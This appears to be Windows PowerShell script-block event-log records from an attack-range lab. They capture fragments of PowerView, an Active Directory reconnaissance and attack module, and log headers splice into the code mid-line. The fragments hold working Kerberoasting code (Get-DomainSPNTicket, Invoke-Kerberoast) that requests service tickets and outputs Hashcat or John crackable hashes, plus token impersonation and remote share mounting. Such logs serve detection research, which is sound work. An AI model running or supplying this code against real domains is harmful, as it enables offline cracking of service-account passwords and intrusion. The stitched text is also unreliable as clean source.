Outputs custom PSObjects with details about the enumerated domain controller if -LDAP is specified.
System.DirectoryServices.ActiveDirectory.DomainController
If -LDAP isn't specified.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.Computer')]
[OutputType('System.DirectoryServices.ActiveDirectory.DomainController')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True)]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[Switch]
$LDAP,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
$Arguments = @{}
if ($PSBoundParameters['Domain']) { $Arguments['Domain'] = $Domain }
if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential }
if ($PSBoundParameters['LDAP'] -or $PSBoundParameters['Server']) {
if ($PSBoundParameters['Server']) { $Arguments['Server'] = $Server }
# UAC specification for domain controllers
$Arguments['LDAPFilter'] = '(userAccountControl:1.2.840.113556.1.4.803:=8192)'
Get-DomainComputer @Arguments
}
else {
$FoundDomain = Get-Domain @Arguments
if ($FoundDomain) {
$FoundDomain.DomainControllers
}
}
}
}
function Get-Forest {
<#
.SYNOPSIS
Returns the forest object for the current (or specified) forest.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: ConvertTo-SID
.DESCRIPTION
Returns a System.DirectoryServices.ActiveDirectory.Forest object for the current
forest or the forest specified with -Forest X.
.PARAMETER Forest
The forest name to query for, defaults to the current forest.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target forest.
.EXAMPLE
Get-Forest -Forest external.domain
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-Forest -Credential $Cred
.OUTPUTS
System.Management.Automation.PSCustomObject
Outputs a PSObject containing System.DirectoryServices.ActiveDirectory.Forest in addition
to the forest root domain SID.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('System.Management.Automation.PSCustomObject')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Forest,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
if ($PSBoundParameters['Credential']) {
Write-Verbose "[Get-Forest] Using alternate credentials for Get-Forest"
if ($PSBoundParameters['Forest']) {
$TargetForest = $Forest
}
else {
# if no domain is supplied, extract the logon domain from the PSCredential passed
$TargetForest = $Credential.GetNetworkCredential().Domain
Write-Verbose "[Get-Forest] Extracted domain '$Forest' from -Credential"
}
$ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $TargetForest, $Credential.UserName, $Credential.GetNetworkCredential().Password)
try {
$ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext)
}
catch {
Write-Verbose "[Get-Forest] The specified forest '$TargetForest' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid: $_"
$Null
}
}
elseif ($PSBoundParameters['Forest']) {
$ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Forest)
try {
$ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext)
}
catch {
Write-Verbose "[Get-Forest] The specified forest '$Forest' does not exist, could not be contacted, or there isn't an existing trust: $_"
return $Null
}
}
else {
# otherwise use the current forest
$ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
}
if ($ForestObject) {
# get the SID of the forest root
if ($PSBoundParameters['Credential']) {
$ForestSid = (Get-DomainUser -Identity "krbtgt" -Domain $ForestObject.RootDomain.Name -Credential $Credential).objectsid
}
else {
$ForestSid = (Get-DomainUser -Identity "krbtgt" -Domain $ForestObject.RootDomain.Name).objectsid
}
$Parts = $ForestSid -Split '-'
$ForestSid = $Parts[0..$($Parts.length-2)] -join '-'
$ForestObject | Add-Member NoteProperty 'RootDomainSid' $ForestSid
$ForestObject
}
}
}
function Get-ForestDomain {
<#
.SYNOPSIS
Return all domains for the current (or specified) forest.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-Forest
.DESCRIPTION
Returns all domains for the current forest or the forest specified
by -Forest X.
.PARAMETER Forest
Specifies the forest name to query for domains.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target forest.
.EXAMPLE
Get-ForestDomain
.EXAMPLE
Get-ForestDomain -Forest external.local
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-ForestDomain -Credential $Cred
.OUTPUTS
System.DirectoryServices.ActiveDirectory.Domain
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('System.DirectoryServices.ActiveDirectory.Domain')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Forest,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
$Arguments = @{}
if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest }
if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential }
$ForestObject = Get-Forest @Arguments
if ($ForestObject) {
$ForestObject.Domains
}
}
}
function Get-ForestGlobalCatalog {
<#
.SYNOPSIS
Return all global catalogs for the current (or specified) forest.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-Forest
.DESCRIPTION
Returns all global catalogs for the current forest or the forest specified
by -Forest X by using Get-Forest to retrieve the specified forest object
and the .FindAllGlobalCatalogs() to enumerate the global catalogs.
.PARAMETER Forest
Specifies the forest name to query for global catalogs.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-ForestGlobalCatalog
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-ForestGlobalCatalog -Credential $Cred
.OUTPUTS
System.DirectoryServices.ActiveDirectory.GlobalCatalog
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('System.DirectoryServices.ActiveDirectory.GlobalCatalog')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Forest,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
$Arguments = @{}
if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest }
if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential }
$ForestObject = Get-Forest @Arguments
if ($ForestObject) {
$ForestObject.FindAllGlobalCatalogs()
}
}
}
function Get-ForestSchemaClass {
<#
.SYNOPSIS
Helper that returns the Active Directory schema classes for the current
(or specified) forest or returns just the schema class specified by
-ClassName X.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-Forest
.DESCRIPTION
Uses Get-Forest to retrieve the current (or specified) forest. By default,
the .FindAllClasses() method is executed, returning a collection of
[DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass] results.
If "-FindClass X" is specified, the [DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass]
result for the specified class name is returned.
.PARAMETER ClassName
Specifies a ActiveDirectorySchemaClass name in the found schema to return.
.PARAMETER Forest
The forest to query for the schema, defaults to the current forest.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-ForestSchemaClass
Returns all domain schema classes for the current forest.
.EXAMPLE
Get-ForestSchemaClass -Forest dev.testlab.local
Returns all domain schema classes for the external.local forest.
.EXAMPLE
Get-ForestSchemaClass -ClassName user -Forest external.local
Returns the user schema class for the external.local domain.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-ForestSchemaClass -ClassName user -Forest external.local -Credential $Cred
Returns the user schema class for the external.local domain using
the specified alternate credentials.
.OUTPUTS
[DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass]
An ActiveDirectorySchemaClass returned from the found schema.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType([System.DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass])]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True)]
[Alias('Class')]
[ValidateNotNullOrEmpty()]
[String[]]
$ClassName,
[Alias('Name')]
[ValidateNotNullOrEmpty()]
[String]
$Forest,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
$Arguments = @{}
if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest }
if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential }
$ForestObject = Get-Forest @Arguments
if ($ForestObject) {
i772cdd4b-a872-46c0-a0e0-ae5d86e232f7
4104132150x0112063Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local862 $Object.SamAccountName
$DistinguishedName = $Object.DistinguishedName
}
else {
$UserSPN = $Object
$SamAccountName = 'UNKNOWN'
$DistinguishedName = 'UNKNOWN'
}
# if a user has multiple SPNs we only take the first one otherwise the service ticket request fails miserably :) -@st3r30byt3
if ($UserSPN -is [System.DirectoryServices.ResultPropertyValueCollection]) {
$UserSPN = $UserSPN[0]
}
try {
$Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN
}
catch {
Write-Warning "[Get-DomainSPNTicket] Error requesting ticket for SPN '$UserSPN' from user '$DistinguishedName' : $_"
}
if ($Ticket) {
$TicketByteStream = $Ticket.GetRequest()
}
if ($TicketByteStream) {
$Out = New-Object PSObject
$TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace '-'
$Out | Add-Member Noteproperty 'SamAccountName' $SamAccountName
$Out | Add-Member Noteproperty 'DistinguishedName' $DistinguishedName
$Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName
# TicketHexStream == GSS-API Frame (see https://tools.ietf.org/html/rfc4121#section-4.1)
# No easy way to parse ASN1, so we'll try some janky regex to parse the embedded KRB_AP_REQ.Ticket object
if($TicketHexStream -match 'a382....3082....A0030201(?<EtypeLen>..)A1.{1,4}.......A282(?<CipherTextLen>....)........(?<DataToEnd>.+)') {
$Etype = [Convert]::ToByte( $Matches.EtypeLen, 16 )
$CipherTextLen = [Convert]::ToUInt32($Matches.CipherTextLen, 16)-4
$CipherText = $Matches.DataToEnd.Substring(0,$CipherTextLen*2)
# Make sure the next field matches the beginning of the KRB_AP_REQ.Authenticator object
if($Matches.DataToEnd.Substring($CipherTextLen*2, 4) -ne 'A482') {
Write-Warning "Error parsing ciphertext for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq"
$Hash = $null
$Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-',''))
} else {
$Hash = "$($CipherText.Substring(0,32))`$$($CipherText.Substring(32))"
$Out | Add-Member Noteproperty 'TicketByteHexStream' $null
}
} else {
Write-Warning "Unable to parse ticket structure for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq"
$Hash = $null
$Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-',''))
}
if($Hash) {
# JTR jumbo output format - $krb5tgs$SPN/machine.testlab.local:63386d22d359fe...
if ($OutputFormat -match 'John') {
$HashFormat = "`$krb5tgs`$$($Ticket.ServicePrincipalName):$Hash"
}
else {
if ($DistinguishedName -ne 'UNKNOWN') {
$UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
}
else {
$UserDomain = 'UNKNOWN'
}
# hashcat output format - $krb5tgs$23$*user$realm$test/spn*$63386d22d359fe...
$HashFormat = "`$krb5tgs`$$($Etype)`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash"
}
$Out | Add-Member Noteproperty 'Hash' $HashFormat
}
$Out.PSObject.TypeNames.Insert(0, 'PowerView.SPNTicket')
$Out
}
}
}
END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}
function Invoke-Kerberoast {
<#
.SYNOPSIS
Requests service tickets for kerberoast-able accounts and returns extracted ticket hashes.
Author: Will Schroeder (@harmj0y), @machosec
License: BSD 3-Clause
Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf, Get-DomainUser, Get-DomainSPNTicket
.DESCRIPTION
Uses Get-DomainUser to query for user accounts with non-null service principle
names (SPNs) and uses Get-SPNTicket to request/extract the crackable ticket information.
The ticket format can be specified with -OutputFormat <John/Hashcat>.
.PARAMETER Identity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
Wildcards accepted.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER OutputFormat
Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format.
Defaults to 'Hashcat'.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Invoke-Kerberoast | fl
Kerberoasts all found SPNs for the current domain, outputting to Hashcat format (default).
.EXAMPLE
Invoke-Kerberoast -Domain dev.testlab.local | fl
Kerberoasts all found SPNs for the testlab.local domain, outputting to JTR
format instead of Hashcat.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -orce
$Cred = New-Object System.Management.Automation.PSCredential('TESTLB\dfm.a', $SecPassword)
Invoke-Kerberoast -Credential $Cred -Verbose -Domain testlab.local | fl
Kerberoasts all found SPNs for the testlab.local domain using alternate credentials.
.OUTPUTS
PowerView.SPNTicket
Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticket section.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.SPNTicket')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
[String[]]
$Identity,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[ValidateSet('John', 'Hashcat')]
[Alias('Format')]
[String]
$OutputFormat = 'Hashcat',
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$UserSearcherArguments = @{
'SPN' = $True
'Properties' = 'samaccountname,distinguishedname,serviceprincipalname'
}
if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['LDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $LDAPFilter }
if ($PSBoundParameters['SearchBase']) { $UserSearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential }
if ($PSBoundParameters['Credential']) {
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
}
PROCESS {
if ($PSBoundParameters['Identity']) { $UserSearcherArguments['Identity'] = $Identity }
Get-DomainUser @UserSearcherArguments | Where-Object {$_.samaccountname -ne 'krbtgt'} | Get-DomainSPNTicket -OutputFormat $OutputFormat
}
END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}
function Get-PathAcl {
<#
.SYNOPSIS
Enumerates the ACL for a given file path.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, ConvertFrom-SID
.DESCRIPTION
Enumerates the ACL for a specified file/folder path, and translates
the access rules for each entry into readable formats. If -Credential is passed,
Add-RemoteConnection/Remove-RemoteConnection is used to temporarily map the remote share.
.PARAMETER Path
Specifies the local or remote path to enumerate the ACLs for.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target path.
.EXAMPLE
Get-PathAcl "\\SERVER\Share\"
Returns ACLs for the given UNC share.
.EXAMPLE
gci .\test.txt | Get-PathAcl
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword)
Get-PathAcl -Path "\\SERVER\Share\" -Credential $Cred
.INPUTS
String
One of more paths to enumerate ACLs for.
.OUTPUTS
PowerView.FileACL
A custom object with the full path and associated ACL entries.
.LINK
https://support.microsoft.com/en-us/kb/305144
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.FileACL')]
[CmdletBinding()]
Param(
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('FullName')]
[String[]]
$Path,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
function Convert-FileRight {
# From Ansgar Wiechers at http://stackoverflow.com/questions/28029872/retrieving-security-descriptor-and-getting-number-for-filesystemrights
[CmdletBinding()]
Param(
[Int]
$FSR
)
$AccessMask = @{
[uint32]'0x80000000' = 'GenericRead'
[uint32]'0x40000000' = 'GenericWrite'
[uint32]'0x20000000' = 'GenericExecute'
[uint32]'0x10000000' = 'GenericAll'
[uint32]'0x02000000' = 'MaximumAllowed'
[uint32]'0x01000000' = 'AccessSystemSecurity'
[uint32]'0x00100000' = 'Synchronize'772cdd4b-a872-46c0-a0e0-ae5d86e232f7
4104132150x0112062Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local762l $Cred
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Add-RemoteConnection -Path '\\PRIMARY.testlab.local\C$\' -Credential $Cred
.EXAMPLE
$Cred = Get-Credential
@('PRIMARY.testlab.local','SECONDARY.testlab.local') | Add-RemoteConnection -Credential $Cred
#>
[CmdletBinding(DefaultParameterSetName = 'ComputerName')]
Param(
[Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ComputerName', ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName,
[Parameter(Position = 0, ParameterSetName = 'Path', Mandatory = $True)]
[ValidatePattern('\\\\.*\\.*')]
[String[]]
$Path,
[Parameter(Mandatory = $True)]
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential
)
BEGIN {
$NetResourceInstance = [Activator]::CreateInstance($NETRESOURCEW)
$NetResourceInstance.dwType = 1
}
PROCESS {
$Paths = @()
if ($PSBoundParameters['ComputerName']) {
ForEach ($TargetComputerName in $ComputerName) {
$TargetComputerName = $TargetComputerName.Trim('\')
$Paths += ,"\\$TargetComputerName\IPC$"
}
}
else {
$Paths += ,$Path
}
ForEach ($TargetPath in $Paths) {
$NetResourceInstance.lpRemoteName = $TargetPath
Write-Verbose "[Add-RemoteConnection] Attempting to mount: $TargetPath"
# https://msdn.microsoft.com/en-us/library/windows/desktop/aa385413(v=vs.85).aspx
# CONNECT_TEMPORARY = 4
$Result = $Mpr::WNetAddConnection2W($NetResourceInstance, $Credential.GetNetworkCredential().Password, $Credential.UserName, 4)
if ($Result -eq 0) {
Write-Verbose "$TargetPath successfully mounted"
}
else {
Throw "[Add-RemoteConnection] error mounting $TargetPath : $(([ComponentModel.Win32Exception]$Result).Message)"
}
}
}
}
function Remove-RemoteConnection {
<#
.SYNOPSIS
Destroys a connection created by New-RemoteConnection.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: PSReflect
.DESCRIPTION
This function uses WNetCancelConnection2 to destroy a connection created by
New-RemoteConnection. If a -Path isn't specified, a -ComputerName is required to
'unmount' \\$ComputerName\IPC$.
.PARAMETER ComputerName
Specifies the system to remove a \\ComputerName\IPC$ connection for.
.PARAMETER Path
Specifies the remote \\UNC\path to remove the connection for.
.EXAMPLE
Remove-RemoteConnection -ComputerName 'PRIMARY.testlab.local'
.EXAMPLE
Remove-RemoteConnection -Path '\\PRIMARY.testlab.local\C$\'
.EXAMPLE
@('PRIMARY.testlab.local','SECONDARY.testlab.local') | Remove-RemoteConnection
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
[CmdletBinding(DefaultParameterSetName = 'ComputerName')]
Param(
[Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ComputerName', ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName,
[Parameter(Position = 0, ParameterSetName = 'Path', Mandatory = $True)]
[ValidatePattern('\\\\.*\\.*')]
[String[]]
$Path
)
PROCESS {
$Paths = @()
if ($PSBoundParameters['ComputerName']) {
ForEach ($TargetComputerName in $ComputerName) {
$TargetComputerName = $TargetComputerName.Trim('\')
$Paths += ,"\\$TargetComputerName\IPC$"
}
}
else {
$Paths += ,$Path
}
ForEach ($TargetPath in $Paths) {
Write-Verbose "[Remove-RemoteConnection] Attempting to unmount: $TargetPath"
$Result = $Mpr::WNetCancelConnection2($TargetPath, 0, $True)
if ($Result -eq 0) {
Write-Verbose "$TargetPath successfully ummounted"
}
else {
Throw "[Remove-RemoteConnection] error unmounting $TargetPath : $(([ComponentModel.Win32Exception]$Result).Message)"
}
}
}
}
function Invoke-UserImpersonation {
<#
.SYNOPSIS
Creates a new "runas /netonly" type logon and impersonates the token.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: PSReflect
.DESCRIPTION
This function uses LogonUser() with the LOGON32_LOGON_NEW_CREDENTIALS LogonType
to simulate "runas /netonly". The resulting token is then impersonated with
ImpersonateLoggedOnUser() and the token handle is returned for later usage
with Invoke-RevertToSelf.
.PARAMETER Credential
A [Management.Automation.PSCredential] object with alternate credentials
to impersonate in the current thread space.
.PARAMETER TokenHandle
An IntPtr TokenHandle returned by a previous Invoke-UserImpersonation.
If this is supplied, LogonUser() is skipped and only ImpersonateLoggedOnUser()
is executed.
.PARAMETER Quiet
Suppress any warnings about STA vs MTA.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Invoke-UserImpersonation -Credential $Cred
.OUTPUTS
IntPtr
The TokenHandle result from LogonUser.
#>
[OutputType([IntPtr])]
[CmdletBinding(DefaultParameterSetName = 'Credential')]
Param(
[Parameter(Mandatory = $True, ParameterSetName = 'Credential')]
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential,
[Parameter(Mandatory = $True, ParameterSetName = 'TokenHandle')]
[ValidateNotNull()]
[IntPtr]
$TokenHandle,
[Switch]
$Quiet
)
if (([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') -and (-not $PSBoundParameters['Quiet'])) {
Write-Warning "[Invoke-UserImpersonation] powershell.exe is not currently in a single-threaded apartment state, token impersonation may not work."
}
if ($PSBoundParameters['TokenHandle']) {
$LogonTokenHandle = $TokenHandle
}
else {
$LogonTokenHandle = [IntPtr]::Zero
$NetworkCredential = $Credential.GetNetworkCredential()
$UserDomain = $NetworkCredential.Domain
$UserName = $NetworkCredential.UserName
Write-Warning "[Invoke-UserImpersonation] Executing LogonUser() with user: $($UserDomain)\$($UserName)"
# LOGON32_LOGON_NEW_CREDENTIALS = 9, LOGON32_PROVIDER_WINNT50 = 3
# this is to simulate "runas.exe /netonly" functionality
$Result = $Advapi32::LogonUser($UserName, $UserDomain, $NetworkCredential.Password, 9, 3, [ref]$LogonTokenHandle);$LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error();
if (-not $Result) {
throw "[Invoke-UserImpersonation] LogonUser() Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
}
}
# actually impersonate the token from LogonUser()
$Result = $Advapi32::ImpersonateLoggedOnUser($LogonTokenHandle)
if (-not $Result) {
throw "[Invoke-UserImpersonation] ImpersonateLoggedOnUser() Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
}
Write-Verbose "[Invoke-UserImpersonation] Alternate credentials successfully impersonated"
$LogonTokenHandle
}
function Invoke-RevertToSelf {
<#
.SYNOPSIS
Reverts any token impersonation.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: PSReflect
.DESCRIPTION
This function uses RevertToSelf() to revert any impersonated tokens.
If -TokenHandle is passed (the token handle returned by Invoke-UserImpersonation),
CloseHandle() is used to close the opened handle.
.PARAMETER TokenHandle
An optional IntPtr TokenHandle returned by Invoke-UserImpersonation.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
$Token = Invoke-UserImpersonation -Credential $Cred
Invoke-RevertToSelf -TokenHandle $Token
#>
[CmdletBinding()]
Param(
[ValidateNotNull()]
[IntPtr]
$TokenHandle
)
if ($PSBoundParameters['TokenHandle']) {
Write-Warning "[Invoke-RevertToSelf] Reverting token impersonation and closing LogonUser() token handle"
$Result = $Kernel32::CloseHandle($TokenHandle)
}
$Result = $Advapi32::RevertToSelf();$LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error();
if (-not $Result) {
throw "[Invoke-RevertToSelf] RevertToSelf() Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
}
Write-Verbose "[Invoke-RevertToSelf] Token impersonation successfully reverted"
}
function Get-DomainSPNTicket {
<#
.SYNOPSIS
Request the kerberos ticket for a specified service principal name (SPN).
Author: machosec, Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf
.DESCRIPTION
This function will either take one/more SPN strings, or one/more PowerView.User objects
(the output from Get-DomainUser) and will request a kerberos ticket for the given SPN
using System.IdentityModel.Tokens.KerberosRequestorSecurityToken. The encrypted
portion of the ticket is then extracted and output in either crackable John or Hashcat
format (deafult of Hashcat).
.PARAMETER SPN
Specifies the service principal name to request the ticket for.
.PARAMETER User
Specifies a PowerView.User object (result of Get-DomainUser) to request the ticket for.
.PARAMETER OutputFormat
Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format.
Defaults to 'John'.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the remote domain using Invoke-UserImpersonation.
.EXAMPLE
Get-DomainSPNTicket -SPN "HTTP/web.testlab.local"
Request a kerberos service ticket for the specified SPN.
.EXAMPLE
"HTTP/web1.testlab.local","HTTP/web2.testlab.local" | Get-DomainSPNTicket
Request kerberos service tickets for all SPNs passed on the pipeline.
.EXAMPLE
Get-DomainUser -SPN | Get-DomainSPNTicket -OutputFormat JTR
Request kerberos service tickets for all users with non-null SPNs and output in JTR format.
.INPUTS
String
Accepts one or more SPN strings on the pipeline with the RawSPN parameter set.
.INPUTS
